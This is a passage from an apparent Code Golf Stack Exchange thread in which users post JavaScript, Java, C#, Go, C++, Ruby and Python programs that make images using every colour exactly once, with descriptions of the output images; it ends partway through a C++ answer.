image description here](https://i.stack.imgur.com/ZOAh3.png) The above code is related to simulated annealing. Seen in this way, the second image is created with a higher "temperature" in the first 10^6 steps. The higher "temperature" causes more permutations among the pixels, whereas in the first image the structure of the ordered image is still slightly visible. [Answer] ## JavaScript Still a student and my first time posting so my codes probably messy and I'm not 100% sure that my pictures have all the needed colors but I was super happy with my results so I figured I'd post them. I know the contest is over but I really loved the results of these and I always loved the look of recursive backtracking generated mazes so I thought it might be cool to see what one would look like if it placed colored pixels. So I start by generating all the colors in an array then I do the recursive backtracking while popping colors off the array. Here's my JSFiddle <http://jsfiddle.net/Kuligoawesome/3VsCu/> ``` // Global variables const FPS = 60;// FrameRate var canvas = null; var ctx = null; var bInstantDraw = false; var MOVES_PER_UPDATE = 50; //How many pixels get placed down var bDone = false; var width; //canvas width var height; //canvas height var colorSteps = 32; var imageData; var grid; var colors; var currentPos; var prevPositions; // This is called when the page loads function Init() { canvas = document.getElementById('canvas'); // Get the HTML element with the ID of 'canvas' width = canvas.width; height = canvas.height; ctx = canvas.getContext('2d'); // This is necessary, but I don't know exactly what it does imageData = ctx.createImageData(width,height); //Needed to do pixel manipulation grid = []; //Grid for the labyrinth algorithm colors = []; //Array of all colors prevPositions = []; //Array of previous positions, used for the recursive backtracker algorithm for(var r = 0; r < colorSteps; r++) { for(var g = 0; g < colorSteps; g++) { for(var b = 0; b < colorSteps; b++) { colors.push(new Color(r * 255 / (colorSteps - 1), g * 255 / (colorSteps - 1), b * 255 / (colorSteps - 1))); //Fill the array with all colors } } } colors.sort(function(a,b) { if (a.r < b.r) return -1; if (a.r > b.r) return 1; if (a.g < b.g) return -1; if (a.g > b.g) return 1; if (a.b < b.b) return -1; if (a.b > b.b) return 1; return 0; }); for(var x = 0; x < width; x++) { grid.push(new Array()); for(var y = 0; y < height; y++) { grid[x].push(0); //Set up the grid //ChangePixel(imageData, x, y, colors[x + (y * width)]); } } currentPos = new Point(Math.floor(Math.random() * width),Math.floor(Math.random() * height)); grid[currentPos.x][currentPos.y] = 1; prevPositions.push(currentPos); ChangePixel(imageData, currentPos.x, currentPos.y, colors.pop()); if(bInstantDraw) { do { var notMoved = true; while(notMoved) { var availableSpaces = CheckForSpaces(grid); if(availableSpaces.length > 0) { var test = availableSpaces[Math.floor(Math.random() * availableSpaces.length)]; prevPositions.push(currentPos); currentPos = test; grid[currentPos.x][currentPos.y] = 1; ChangePixel(imageData, currentPos.x, currentPos.y, colors.pop()); notMoved = false; } else { if(prevPositions.length != 0) { currentPos = prevPositions.pop(); } else { break; } } } } while(prevPositions.length > 0) ctx.putImageData(imageData,0,0); } else { setInterval(GameLoop, 1000 / FPS); } } // Main program loop function GameLoop() { Update(); Draw(); } // Game logic goes here function Update() { if(!bDone) { var counter = MOVES_PER_UPDATE; while(counter > 0) //For speeding up the drawing { var notMoved = true; while(notMoved) { var availableSpaces = CheckForSpaces(grid); //Find available spaces if(availableSpaces.length > 0) //If there are available spaces { prevPositions.push(currentPos); //add old position to prevPosition array currentPos = availableSpaces[Math.floor(Math.random() * availableSpaces.length)]; //pick a random available space grid[currentPos.x][currentPos.y] = 1; //set that space to filled ChangePixel(imageData, currentPos.x, currentPos.y, colors.pop()); //pop color of the array and put it in that space notMoved = false; } else { if(prevPositions.length != 0) { currentPos = prevPositions.pop(); //pop to previous position where spaces are available } else { bDone = true; break; } } } counter--; } } } function Draw() { // Clear the screen ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); ctx.fillStyle='#000000'; ctx.fillRect(0, 0, ctx.canvas.width, ctx.canvas.height); ctx.putImageData(imageData,0,0); } function CheckForSpaces(inGrid) //Checks for available spaces then returns back all available spaces { var availableSpaces = []; if(currentPos.x > 0 && inGrid[currentPos.x - 1][currentPos.y] == 0) { availableSpaces.push(new Point(currentPos.x - 1, currentPos.y)); } if(currentPos.x < width - 1 && inGrid[currentPos.x + 1][currentPos.y] == 0) { availableSpaces.push(new Point(currentPos.x + 1, currentPos.y)); } if(currentPos.y > 0 && inGrid[currentPos.x][currentPos.y - 1] == 0) { availableSpaces.push(new Point(currentPos.x, currentPos.y - 1)); } if(currentPos.y < height - 1 && inGrid[currentPos.x][currentPos.y + 1] == 0) { availableSpaces.push(new Point(currentPos.x, currentPos.y + 1)); } return availableSpaces; } function ChangePixel(data, x, y, color) //Quick function to simplify changing pixels { data.data[((x + (y * width)) * 4) + 0] = color.r; data.data[((x + (y * width)) * 4) + 1] = color.g; data.data[((x + (y * width)) * 4) + 2] = color.b; data.data[((x + (y * width)) * 4) + 3] = 255; } /*Needed Classes*/ function Point(xIn, yIn) { this.x = xIn; this.y = yIn; } function Color(r, g, b) { this.r = r; this.g = g; this.b = b; this.hue = Math.atan2(Math.sqrt(3) * (this.g - this.b), 2 * this.r - this.g, this.b); this.min = Math.min(this.r, this.g); this.min = Math.min(this.min, this.b); this.min /= 255; this.max = Math.max(this.r, this.g); this.max = Math.max(this.max, this.b); this.max /= 255; this.luminance = (this.min + this.max) / 2; if(this.min === this.max) { this.saturation = 0; } else if(this.luminance < 0.5) { this.saturation = (this.max - this.min) / (this.max + this.min); } else if(this.luminance >= 0.5) { this.saturation = (this.max - this.min) / (2 - this.max - this.min); } } ``` 256x128 picture, colors sorted red->green->blue ![RGB Sorted Colors](https://i.stack.imgur.com/31ccy.png) 256x128 picture, colors sorted blue->green->red ![BGR Sorted Colors](https://i.stack.imgur.com/z71Wx.png) 256x128 picture, colors sorted hue->luminance->saturation ![HLS Sorted Colors](https://i.stack.imgur.com/DWNch.png) And finally a GIF of one being generated ![Color Labyrinth GIF](https://i.stack.imgur.com/4Ehhy.gif) [Answer] # Java I decided to have a try at this challenge. I was inspired by [this answer](https://codegolf.stackexchange.com/a/19382/30544) to another code golf. My program generates uglier images, but they have all colors. Also, my first time code golfing. :) (4k images were too big for my small upload speed, I tried uploading one but after one hour it hasn't uploaded. You can generate your own.) ![](https://puu.sh/aNZMS/9d0cfbf571.png) Closeup: ![](https://puu.sh/aNZYm/465d3cb352.png) Generates an image in 70 seconds on my machine, takes about 1.5GB of memory when generating ### Main.java ``` import java.awt.Color; import java.awt.Graphics2D; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.Arrays; import java.util.Comparator; import java.util.Random; import javax.imageio.ImageIO; public class Main { static char[][] colors = new char[4096 * 4096][3]; static short[][] pixels = new short[4096 * 4096][2]; static short[][] iterMap = new short[4096][4096]; public static int mandel(double re0, double im0, int MAX_ITERS) { double re = re0; double im = im0; double _r; double _i; double re2; double im2; for (int iters = 0; iters < MAX_ITERS; iters++) { re2 = re * re; im2 = im * im; if (re2 + im2 > 4.0) { return iters; } _r = re; _i = im; _r = re2 - im2; _i = 2 * (re * im); _r += re0; _i += im0; re = _r; im = _i; } return MAX_ITERS; } static void shuffleArray(Object[] ar) { Random rnd = new Random(); for (int i = ar.length - 1; i > 0; i--) { int index = rnd.nextInt(i + 1); // Simple swap Object a = ar[index]; ar[index] = ar[i]; ar[i] = a; } } public static void main(String[] args) { long startTime = System.nanoTime(); System.out.println("Generating colors..."); for (int i = 0; i < 4096 * 4096; i++) { colors[i][0] = (char)((i >> 16) & 0xFF); // Red colors[i][1] = (char)((i >> 8) & 0xFF); // Green colors[i][2] = (char)(i & 0xFF); // Blue } System.out.println("Sorting colors..."); //shuffleArray(colors); // Not needed Arrays.sort(colors, new Comparator<char[]>() { @Override public int compare(char[] a, char[] b) { return (a[0] + a[1] + a[2]) - (b[0] + b[1] + b[2]); } }); System.out.println("Generating fractal..."); for (int y = -2048; y < 2048; y++) { for (int x = -2048; x < 2048; x++) { short iters = (short) mandel(x / 1024.0, y / 1024.0, 1024); iterMap[x + 2048][y + 2048] = iters; } } System.out.println("Organizing pixels in the image..."); for (short x = 0; x < 4096; x++) { for (short y = 0; y < 4096; y++) { pixels[x * 4096 + y][0] = x; pixels[x * 4096 + y][1] = y; } } shuffleArray(pixels); Arrays.sort(pixels, new Comparator<short[]>() { @Override public int compare(short[] a, short[] b) { return iterMap[b[0]][b[1]] - iterMap[a[0]][a[1]]; } }); System.out.println("Writing image to BufferedImage..."); BufferedImage img = new BufferedImage(4096, 4096, BufferedImage.TYPE_INT_RGB); Graphics2D g = img.createGraphics(); for (int i = 0; i < 4096 * 4096; i++) { g.setColor(new Color(colors[i][0], colors[i][1], colors[i][2])); g.fillRect(pixels[i][0], pixels[i][1], 1, 1); } g.dispose(); System.out.println("Writing image to file..."); File imageFile = new File("image.png"); try { ImageIO.write(img, "png", imageFile); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("Done!"); System.out.println("Took " + ((System.nanoTime() - startTime) / 1000000000.) + " seconds."); System.out.println(); System.out.println("The result is saved in " + imageFile.getAbsolutePath()); } } ``` [Answer] # C# So I started working on this just as a fun exercise and ended up with an output that at least to me looks pretty neat. The key difference in my solution to (at least) most others is that I'm generating exactly the number of colors needed to start with and evenly spacing the generation out from pure white to pure black. I'm also setting colors working in an inward spiral and choosing the next color based on the average of the color diff between all neighbors that have been set. Here is a small sample output that I've produced so far, I'm working on a 4k render but I expect it to take upwards of a day to finish. Here is a sample of the spec output at 256x128: [![Spec Render](https://i.stack.imgur.com/AJnSA.png)](https://i.stack.imgur.com/AJnSA.png) Some larger images with still reasonable render times: [![Render at 360 x 240](https://i.stack.imgur.com/ke9nw.png)](https://i.stack.imgur.com/ke9nw.png) Second run at 360 x 240 produced a much smoother image [![Render #2 at 360 x 240](https://i.stack.imgur.com/8ALHF.png)](https://i.stack.imgur.com/8ALHF.png) After improving performance I was able to run a HD render which took 2 days, I haven't given up on a 4k yet but it could take weeks. [HD Render](https://github.com/MadillJ/InterstingCodeCollection/blob/master/AllColors/GeneratedImages/1920x1080.png) ``` using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Linq; namespace SandBox { class Program { private static readonly List<Point> directions = new List<Point> { new Point(1, 0), new Point(0, 1), new Point(-1, 0), new Point(0, -1) }; static void Main(string[] args) { if (args.Length != 2) { HelpFile(); return; } try { var config = new ColorGeneratorConfig { XLength = int.Parse(args[0]), YLength = int.Parse(args[1]) }; Console.WriteLine("Starting image generation with:"); Console.WriteLine($"\tDimensions:\t\t{config.XLength} X {config.YLength}"); Console.WriteLine($"\tSteps Per Channel:\t{config.NumOfSteps}"); Console.WriteLine($"\tStep Size:\t\t{config.ColorStep}"); Console.WriteLine($"\tSteps to Skip:\t\t{config.StepsToSkip}\n"); var runner = new TaskRunner(); var colors = runner.Run(() => GenerateColorList(config), "color selection"); var pixels = runner.Run(() => BuildPixelArray(colors, config), "pixel array generation"); runner.Run(() => OutputBitmap(pixels, config), "bitmap creation"); } catch (Exception ex) { HelpFile("There was an issue in execution"); } Console.ReadLine(); } private static void HelpFile(string errorMessage = "") { const string Header = "Generates an image with every pixel having a unique color"; Console.WriteLine(errorMessage == string.Empty ? Header : $"An error has occured: {errorMessage}\n Ensure the Arguments you have provided are valid"); Console.WriteLine(); Console.WriteLine($"{AppDomain.CurrentDomain.FriendlyName} X Y"); Console.WriteLine(); Console.WriteLine("X\t\tThe Length of the X dimension eg: 256"); Console.WriteLine("Y\t\tThe Length of the Y dimension eg: 128"); } public static List<Color> GenerateColorList(ColorGeneratorConfig config) { //Every iteration of our color generation loop will add the iterationfactor to this accumlator which is used to know when to skip decimal iterationAccumulator = 0; var colors = new List<Color>(); for (var r = 0; r < config.NumOfSteps; r++) for (var g = 0; g < config.NumOfSteps; g++) for (var b = 0; b < config.NumOfSteps; b++) { iterationAccumulator += config.IterationFactor; //If our accumulator has reached 1, then subtract one and skip this iteration if (iterationAccumulator > 1) { iterationAccumulator -= 1; continue; } colors.Add(Color.FromArgb(r*config.ColorStep, g*config.ColorStep,b*config.ColorStep)); } return colors; } public static Color?[,] BuildPixelArray(List<Color> colors, ColorGeneratorConfig config) { //Get a random color to start with. var random = new Random(Guid.NewGuid().GetHashCode()); var nextColor = colors[random.Next(colors.Count)]; var pixels = new Color?[config.XLength, config.YLength]; var currPixel = new Point(0, 0); var i = 0; //Since we've only generated exactly enough colors to fill our image we can remove them from the list as we add them to our image and stop when none are left. while (colors.Count > 0) { i++; //Set the current pixel and remove the color from the list. pixels[currPixel.X, currPixel.Y] = nextColor; colors.RemoveAt(colors.IndexOf(nextColor)); //Our image generation works in an inward spiral generation GetNext point will retrieve the next pixel given the current top direction. var nextPixel = GetNextPoint(currPixel, directions.First()); //If this next pixel were to be out of bounds (for first circle of spiral) or hit a previously generated pixel (for all other circles) //Then we need to cycle the direction and get a new next pixel if (nextPixel.X >= config.XLength || nextPixel.Y >= config.YLength || nextPixel.X < 0 || nextPixel.Y < 0 || pixels[nextPixel.X, nextPixel.Y] != null) { var d = directions.First(); directions.RemoveAt(0); directions.Add(d); nextPixel = GetNextPoint(currPixel, directions.First()); } //This code sets the pixel to pick a color for and also gets the next color //We do this at the end of the loop so that we can also support haveing the first pixel set outside of the loop currPixel = nextPixel; if (colors.Count == 0) continue; var neighbours = GetNeighbours(currPixel, pixels, config); nextColor = colors.AsParallel().Aggregate((item1, item2) => GetAvgColorDiff(item1, neighbours) < GetAvgColorDiff(item2, neighbours) ? item1 : item2); } return pixels; } public static void OutputBitmap(Color?[,] pixels, ColorGeneratorConfig config) { //Now that we have generated our image in the color array we need to copy it into a bitmap and save it to file. var image = new Bitmap(config.XLength, config.YLength); for (var x = 0; x < config.XLength; x++) for (var y = 0; y < config.YLength; y++) image.SetPixel(x, y, pixels[x, y].Value); using (var file = new FileStream($@".\{config.XLength}X{config.YLength}.png", FileMode.Create)) { image.Save(file, ImageFormat.Png); } } static Point GetNextPoint(Point current, Point direction) { return new Point(current.X + direction.X, current.Y + direction.Y); } static List<Color> GetNeighbours(Point current, Color?[,] grid, ColorGeneratorConfig config) { var list = new List<Color>(); foreach (var direction in directions) { var xCoord = current.X + direction.X; var yCoord = current.Y + direction.Y; if (xCoord < 0 || xCoord >= config.XLength|| yCoord < 0 || yCoord >= config.YLength) { continue; } var cell = grid[xCoord, yCoord]; if (cell.HasValue) list.Add(cell.Value); } return list; } static double GetAvgColorDiff(Color source, IList<Color> colors) { return colors.Average(color => GetColorDiff(source, color)); } static int GetColorDiff(Color color1, Color color2) { var redDiff = Math.Abs(color1.R - color2.R); var greenDiff = Math.Abs(color1.G - color2.G); var blueDiff = Math.Abs(color1.B - color2.B); return redDiff + greenDiff + blueDiff; } } public class ColorGeneratorConfig { public int XLength { get; set; } public int YLength { get; set; } //Get the number of permutations for each color value base on the required number of pixels. public int NumOfSteps => (int)Math.Ceiling(Math.Pow((ulong)XLength * (ulong)YLength, 1.0 / ColorDimensions)); //Calculate the increment for each step public int ColorStep => 255 / (NumOfSteps - 1); //Because NumOfSteps will either give the exact number of colors or more (never less) we will sometimes to to skip some //this calculation tells how many we need to skip public decimal StepsToSkip => Convert.ToDecimal(Math.Pow(NumOfSteps, ColorDimensions) - XLength * YLength); //This factor will be used to as evenly as possible spread out the colors to be skipped so there are no large gaps in the spectrum public decimal IterationFactor => StepsToSkip / Convert.ToDecimal(Math.Pow(NumOfSteps, ColorDimensions)); private double ColorDimensions => 3.0; } public class TaskRunner { private Stopwatch _sw; public TaskRunner() { _sw = new Stopwatch(); } public void Run(Action task, string taskName) { Console.WriteLine($"Starting {taskName}..."); _sw.Start(); task(); _sw.Stop(); Console.WriteLine($"Finished {taskName}. Elapsed(ms): {_sw.ElapsedMilliseconds}"); Console.WriteLine(); _sw.Reset(); } public T Run<T>(Func<T> task, string taskName) { Console.WriteLine($"Starting {taskName}..."); _sw.Start(); var result = task(); _sw.Stop(); Console.WriteLine($"Finished {taskName}. Elapsed(ms): {_sw.ElapsedMilliseconds}"); Console.WriteLine(); _sw.Reset(); return result; } } } ``` [Answer] # Go Here's another one from me, I think it gives more interesting results: ``` package main import ( "image" "image/color" "image/png" "os" "math" "math/rand" ) func distance(c1, c2 color.Color) float64 { r1, g1, b1, _ := c1.RGBA() r2, g2, b2, _ := c2.RGBA() rd, gd, bd := int(r1)-int(r2), int(g1)-int(g2), int(b1)-int(b2) return math.Sqrt(float64(rd*rd + gd*gd + bd*bd)) } func main() { allcolor := image.NewRGBA(image.Rect(0, 0, 256, 128)) for y := 0; y < 128; y++ { for x := 0; x < 256; x++ { allcolor.Set(x, y, color.RGBA{uint8(x%32) * 8, uint8(y%32) * 8, uint8(x/32+(y/32*8)) * 8, 255}) } } for y := 0; y < 128; y++ { for x := 0; x < 256; x++ { rx, ry := rand.Intn(256), rand.Intn(128) c1, c2 := allcolor.At(x, y), allcolor.At(rx, ry) allcolor.Set(x, y, c2) allcolor.Set(rx, ry, c1) } } for i := 0; i < 16384; i++ { for y := 0; y < 128; y++ { for x := 0; x < 256; x++ { xl, xr := (x+255)%256, (x+1)%256 cl, c, cr := allcolor.At(xl, y), allcolor.At(x, y), allcolor.At(xr, y) dl, dr := distance(cl, c), distance(c, cr) if dl < dr { allcolor.Set(xl, y, c) allcolor.Set(x, y, cl) } yu, yd := (y+127)%128, (y+1)%128 cu, c, cd := allcolor.At(x, yu), allcolor.At(x, y), allcolor.At(x, yd) du, dd := distance(cu, c), distance(c, cd) if du < dd { allcolor.Set(x, yu, c) allcolor.Set(x, y, cu) } } } } filep, err := os.Create("EveryColor.png") if err != nil { panic(err) } err = png.Encode(filep, allcolor) if err != nil { panic(err) } filep.Close() } ``` It starts with the same pattern as the gif in [my other answer](https://codegolf.stackexchange.com/a/22368/17601). Then, it shuffles it into this: ![just noise](https://i.stack.imgur.com/y5Khh.png) The more iterations I run the rather uninspired neighbor-comparison algorithm, the more apparent the rainbow pattern becomes. Here's 16384: ![a very noisy rainbow at 16384 iterations](https://i.stack.imgur.com/bmJ59.png) And 65536: ![enter image description here](https://i.stack.imgur.com/vrKgn.png) [Answer] These images are "Langton's Rainbow". They're drawn rather simply: as Langton's ant moves about, a color is drawn on each pixel the first time that pixel is visitted. The color to draw next is then simply incremented by 1, ensuring that 2^15 colors are used, one for each pixel. **EDIT:** I made a version which renders 4096X4096 images, using 2^24 colors. The colors are also 'reflected' so they make nice, smooth gradients. I'll only provide links to them since they're huge (>28 MB) [Langton's Rainbow large, rule LR](https://dl.dropboxusercontent.com/u/3236504/LangtonsRainbow/LangtonsRainbow_8bpp_Reflect_LR.png) [Langton's Rainbow large, rule LLRR](https://dl.dropboxusercontent.com/u/3236504/LangtonsRainbow/LangtonsRainbow_8bpp_Reflect_LLRR.png) *//End of edit.* This for the classic LR rule set: [![Langton's Rainbow LR](https://i.stack.imgur.com/eUkV2.png)](https://i.stack.imgur.com/eUkV2.png) Here is LLRR: [![Langton's Rainbow LLRR](https://i.stack.imgur.com/MhWMO.png)](https://i.stack.imgur.com/MhWMO.png) Finally, this one uses the LRRRRRLLR ruleset: [![Langton's Rainbow LRRRRRLLR](https://i.stack.imgur.com/nLqvd.png)](https://i.stack.imgur.com/nLqvd.png) Written in C++, using CImg for graphics. I should also mention how the colors were selected: First, I use an unsigned short to contain the RGB color data. Every time a cell is first visitted, I right shift the bits by some multiple of 5, AND by 31, then multiply by 8. Then the unsigned short color is incremented by 1. This produces values from 0 to 248 at most. However, I've subtract this value *from* 255 in the red and blue components, therefore R and B are in multiples of 8, starting from 255, down to 7: ``` c[0]=255-((color&0x1F)*8); c[2]=255-(((color>>5)&0x1F)*8); c[1]=(((color>>10)&0x1F)*8); ``` However, this doesn't apply to the green component, which is in multiples of 8 from 0 to 248. In any case, each pixel should contain a unique color. Anyways, source code is below: ``` #include "CImg.h" using namespace cimg_library; CImgDisplay screen; CImg<unsigned char> surf; #define WIDTH 256 #define HEIGHT 128 #define TOTAL WIDTH*HEIGHT char board[WIDTH][HEIGHT]; class ant { public: int x,y; char d; unsigned short color; void init(int X, int Y,char D) { x=X;y=Y;d=D; color=0; } void turn() { ///Have to hard code for the rule set here. ///Make sure to set RULECOUNT to the number of rules! #define RULECOUNT 9 //LRRRRRLLR char get=board[x][y]; if(get==0||get==6||get==7){d+=1;} else{d-=1;} if(d<0){d=3;} else if(d>3){d=0;} } void forward() { if(d==0){x++;} else if(d==1){y--;} else if(d==2){x--;} else {y++;} if(x<0){x=WIDTH-1;} else if(x>=WIDTH){x=0;} if(y<0){y=HEIGHT-1;} else if(y>=HEIGHT){y=0;} } void draw() { if(board[x][y]==-1) { board[x][y]=0; unsigned char c[3]; c[0]=255-((color&0x1F)*8); c[2]=255-(((color>>5)&0x1F)*8); c[1]=(((color>>10)&0x1F)*8); surf.draw_point(x,y,c); color++; } board[x][y]++; if(board[x][y]==RULECOUNT){board[x][y]=0;} } void step() { draw(); turn(); forward(); } }; void renderboard() { unsigned char white[]={200,190,180}; surf.draw_rectangle(0,0,WIDTH,HEIGHT,white); for(int x=0;x<WIDTH;x++) for(int y=0;y<HEIGHT;y++) { char get=board[x][y]; if(get==1){get=1;unsigned char c[]={255*get,255*get,255*get}; surf.draw_point(x,y,c);} else if(get==0){get=0;unsigned char c[]={255*get,255*get,255*get}; surf.draw_point(x,y,c);} } } int main(int argc, char** argv) { screen.assign(WIDTH*3,HEIGHT*3); surf.assign(WIDTH,HEIGHT,1,3); ant a; a.init(WIDTH/2,HEIGHT/2,2); surf.fill(0); for(int x=0;x<WIDTH;x++) for(int y=0;y<HEIGHT;y++) { board[x][y]=-1; } while(a.color<TOTAL) { a.step(); } screen=surf; while(screen.is_closed()==false) { screen.wait(); } surf.save_bmp("LangtonsRainbow.bmp"); return 0; } ``` [Answer] # Ruby I decided I would go ahead and make the PNG from scratch, because I thought that would be interesting. This code is literally outputting the **raw** binary data into a file. I did the 512x512 version. (The algorithm is rather uninteresting, though.) It finishes in about 3 seconds on my machine. ``` require 'zlib' class RBPNG def initialize # PNG header @data = [137, 80, 78, 71, 13, 10, 26, 10].pack 'C*' end def chunk name, data = '' @data += [data.length].pack 'N' @data += name @data += data @data += [Zlib::crc32(name + data)].pack 'N' end def IHDR opts = {} opts = {bit_depth: 8, color_type: 6, compression: 0, filter: 0, interlace: 0}.merge opts raise 'IHDR - Missing width param' if !opts[:width] raise 'IHDR - Missing height param' if !opts[:height] self.chunk 'IHDR', %w[width height].map {|x| [opts[x.to_sym]].pack 'N'}.join + %w[bit_depth color_type compression filter interlace].map {|x| [opts[x.to_sym]].pack 'C'}.join end def IDAT data; self.chunk 'IDAT', Zlib.deflate(data); end def IEND; self.chunk 'IEND'; end def write filename; IO.binwrite filename, @data; end end class Color attr_accessor :r, :g, :b, :a def initialize r = 0, g = 0, b = 0, a = 255 if r.is_a? Array @r, @g, @b, @a = @r @a = 255 if !@a else @r = r @g = g @b = b @a = a end end def hex; '%02X' * 4 % [@r, @g, @b, @a]; end def rgbhex; '%02X' * 3 % [@r, @g, @b]; end end img = RBPNG.new img.IHDR({width: 512, height: 512, color_type: 2}) #img.IDAT ['00000000FFFFFF00FFFFFF000000'].pack 'H*' r = g = b = 0 data = Array.new(512){ Array.new(512){ c = Color.new r, g, b r += 4 if r == 256 r = 0 g += 4 if g == 256 g = 0 b += 4 end end c } } img.IDAT [data.map {|x| '00' + x.map(&:rgbhex).join }.join].pack 'H*' img.IEND img.write 'all_colors.png' ``` Output (in `all_colors.png`) (click any of these images to enlarge them): [![Output](https://i.stack.imgur.com/HempOm.png)](https://i.stack.imgur.com/HempO.png) Somewhat more interesting gradient-ish output (by changing the 4th to last line to `}.shuffle }`): [![Output 2](https://i.stack.imgur.com/RWBtbm.png)](https://i.stack.imgur.com/RWBtb.png) And by changing it to `}.shuffle }.shuffle`, you get crazy color lines: [![Output 3](https://i.stack.imgur.com/KR6GKm.png)](https://i.stack.imgur.com/KR6GK.png) [Answer] # Python ![plasma](https://i.stack.imgur.com/cWDJ0.png) Using python to sort the colors by luminance, generating a luminance pattern and picking the most appropriate color. The pixels are iterated in random order so that the less favorable luminance matches that naturally happen when the list of available colors gets smaller are evenly spread throughout the picture. ``` #!/usr/bin/env python from PIL import Image from math import pi, sin, cos import random WIDTH = 256 HEIGHT = 128 img = Image.new("RGB", (WIDTH, HEIGHT)) colors = [(x >> 10, (x >> 5) & 31, x & 31) for x in range(32768)] colors = [(x[0] << 3, x[1] << 3, x[2] << 3) for x in colors] colors.sort(key=lambda x: x[0] * 0.2126 + x[1] * 0.7152 + x[2] * 0.0722) def get_pixel(lum): for i in range(len(colors)): c = colors[i] if c[0] * 0.2126 + c[1] * 0.7152 + c[2] * 0.0722 > lum: break return colors.pop(i) def plasma(x, y): x -= WIDTH / 2 p = sin(pi * x / (32 + 10 * sin(y * pi / 32))) p *= cos(pi * y / 64) return 128 + 127 * p xy = [] for x in range(WIDTH): for y in range(HEIGHT): xy.append((x, y)) random.shuffle(xy) count = 0 for x, y in xy: l = int(plasma(x, y)) img.putpixel((x, y), get_pixel(plasma(x, y))) count += 1 if not count & 255: print "%d pixels rendered" % count img.save("test.png") ``` [Answer] # Java ``` import java.awt.Point; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.logging.Level; import java.util.logging.Logger; import javax.imageio.ImageIO; /** * * @author Quincunx */ public class AllColorImage { public static void main(String[] args) { BufferedImage img = new BufferedImage(4096, 4096, BufferedImage.TYPE_INT_RGB); int num = 0; ArrayList<Point> points = new ArrayList<>(); for (int y = 0; y < 4096; y++) { for (int x = 0; x < 4096 ; x++) { points.add(new Point(x, y)); } } for (Point p : points) { int x = p.x; int y = p.y; img.setRGB(x, y, num); num++; } try { ImageIO.write(img, "png", new File("Filepath")); } catch (IOException ex) { Logger.getLogger(AllColorImage.class.getName()).log(Level.SEVERE, null, ex); } } } ``` I went for 4096 by 4096 because I couldn't figure out how to get all the colors without doing so. Output: Too big to fit here. This is a screenshot: ![enter image description here](https://i.stack.imgur.com/UkkHN.png) With a little change, we can get a more beautiful picture: Add `Collections.shuffle(points, new Random(0));` between generating the points and doing the colors: ``` import java.awt.Point; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Collections; import java.util.Random; import java.util.logging.Level; import java.util.logging.Logger; import javax.imageio.ImageIO; /** * * @author Quincunx */ public class AllColorImage { public static void main(String[] args) { BufferedImage img = new BufferedImage(4096, 4096, BufferedImage.TYPE_INT_RGB); int num = 0; ArrayList<Point> points = new ArrayList<>(); for (int y = 0; y < 4096; y++) { for (int x = 0; x < 4096 ; x++) { points.add(new Point(x, y)); } } Collections.shuffle(points, new Random(0)); for (Point p : points) { int x = p.x; int y = p.y; img.setRGB(x, y, num); num++; } try { ImageIO.write(img, "png", new File("Filepath")); } catch (IOException ex) { Logger.getLogger(AllColorImage.class.getName()).log(Level.SEVERE, null, ex); } } } ``` ![enter image description here](https://i.stack.imgur.com/62Flm.jpg) Closeup: ![enter image description here](https://i.stack.imgur.com/kc1J8.png) [Answer] # C++11 (*Update:* only afterwards did I notice that [a similar approach](https://codegolf.stackexchange.com/a/22636/17698) has already been tried --- with more patience with regards to the number of iterations.) For each pixel, I define a set of neighbor pixels. I define the discrepancy between two pixels to be the sum of squares of their R/G/B differences. The penalty of a given pixel is then the sum of the discrepancies between the pixel and its neighbors. Now, I first generate a random permutation, then start picking random pairs of pixels. If swapping the two pixels reduces the sum of the total penalties of all pixels, the swap goes through. I repeat this for a million times. The output is in the PPM format, which I have converted into PNG using standard utilities. Source: ``` #include <iostream> #include <fstream> #include <cstdlib> #include <random> static std::mt19937 rng; class Pixel { public: int r, g, b; Pixel() : r(0), g(0), b(0) {} Pixel(int r, int g, int b) : r(r), g(g), b(b) {} void swap(Pixel& p) { int r = this->r, g = this->g, b = this->b; this->r = p.r; this->g = p.g; this->b = p.b; p.r = r; p.g = g; p.b = b; } }; class Image { public: static const int width = 256; static const int height = 128; static const int step = 32; Pixel pixel[width*height]; int penalty[width*height]; std::vector<int>** neighbors; Image() { if (step*step*step != width*height) { std::cerr << "parameter mismatch" << std::endl; exit(EXIT_FAILURE); } neighbors = new std::vector<int>*[width*height]; for (int i = 0; i < width*height; i++) { penalty[i] = -1; neighbors[i] = pixelNeighbors(i); } int i = 0; for (int r = 0; r < step; r++) for (int g = 0; g < step; g++) for (int b = 0; b < step; b++) { pixel[i].r = r * 255 / (step-1); pixel[i].g = g * 255 / (step-1); pixel[i].b = b * 255 / (step-1); i++; } } ~Image() { for (int i = 0; i < width*height; i++) { delete neighbors[i]; } delete [] neighbors; } std::vector<int>* pixelNeighbors(const int pi) { // 01: X-shaped structure //const int iRad = 7, jRad = 7; //auto condition = [](int i, int j) { return abs(i) == abs(j); }; // // 02: boring blobs //const int iRad = 7, jRad = 7; //auto condition = [](int i, int j) { return true; }; // // 03: cross-shaped //const int iRad = 7, jRad = 7; //auto condition = [](int i, int j) { return i==0 || j == 0; }; // // 04: stripes const int iRad = 1, jRad = 5; auto condition = [](int i, int j) { return i==0 || j == 0; }; std::vector<int>* v = new std::vector<int>; int x = pi % width; int y = pi / width; for (int i = -iRad; i <= iRad; i++) for (int j = -jRad; j <= jRad; j++) { if (!condition(i,j)) continue; int xx = x + i; int yy = y + j; if (xx < 0 || xx >= width || yy < 0 || yy >= height) continue; v->push_back(xx + yy*width); } return v; } void shuffle() { for (int i = 0; i < width*height; i++) { std::uniform_int_distribution<int> dist(i, width*height - 1); int j = dist(rng); pixel[i].swap(pixel[j]); } } void writePPM(const char* filename) { std::ofstream fd; fd.open(filename); if (!fd.is_open()) { std::cerr << "failed to open file " << filename << "for writing" << std::endl; exit(EXIT_FAILURE); } fd << "P3\n" << width << " " << height << "\n255\n"; for (int i = 0; i < width*height; i++) { fd << pixel[i].r << " " << pixel[i].g << " " << pixel[i].b << "\n"; } fd.close(); } void updatePixelNeighborhoodPenalty(const int pi) { for (auto j : *neighbors[pi]) updatePixelPenalty(j); } void updatePixelPenalty(const int pi) { auto pow2 = 